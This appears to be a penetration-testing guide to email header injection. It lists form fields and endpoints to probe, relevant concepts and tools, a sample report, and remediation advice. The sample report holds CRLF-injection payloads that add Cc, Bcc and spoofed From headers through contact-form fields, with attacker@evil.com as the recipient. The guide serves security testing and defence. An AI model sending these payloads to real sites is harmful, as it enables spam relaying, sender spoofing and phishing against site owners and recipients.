# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields
# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms
# Test basic functionality first

# Check if injected CC/BCC emails were received
# Monitor attacker@evil.com inbox for received copies
# Verify header injection via email raw source
# In received email, check "View Original" or "Show Headers"
# Look for injected Cc:, Bcc:, From:, or Reply-To: headers
# Test if the application is usable as a spam relay
# by injecting multiple recipients in BCC
# Document the full injection chain
# 1. Injection point (which field)
# 2. Encoding required (CRLF, URL encoding)
# 3. Impact (spam relay, phishing, data theft)
| Concept | Description |
|---|---|
| CRLF Injection | Injecting carriage return and line feed characters to create new email headers |
| Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails |
| Spam Relay | Abusing email functionality to send spam to arbitrary recipients |
| Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders |
| MIME Manipulation | Injecting MIME boundaries to override email body content |
| SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters |
| Newline Characters | \r\n (CRLF), \n (LF), \r (CR) used to separate email headers |
| Tool | Purpose |
|---|---|
| Burp Suite | HTTP proxy for modifying email-related form submissions |
| swaks | Swiss Army Knife for SMTP testing and header injection validation |
| OWASP ZAP | Automated scanner with email injection detection |
| mailhog | Local SMTP testing server for capturing injected emails |
| smtp4dev | Development SMTP server for monitoring email injection results |
| Nuclei | Template scanner with email header injection detection templates |
## Email Header Injection Report
- **Target**: http://target.com/contact
- **Injection Point**: email field in contact form
- **Encoding Required**: URL-encoded LF (%0A)
### Findings
| # | Field | Payload | Result | Severity |
|---|-------|---------|--------|----------|
| 1 | email | test@test.com%0ACc:evil@evil.com | CC header injected | High |
| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC header injected | High |
| 3 | name | Test%0AFrom:ceo@target.com | From spoofing | Medium |
### Remediation
- Validate email addresses with strict regex rejecting newline characters
- Strip \r, \n, and encoded variants from all email-related input
- Use parameterized email APIs that separate headers from data
- Implement rate limiting on email-sending functionality
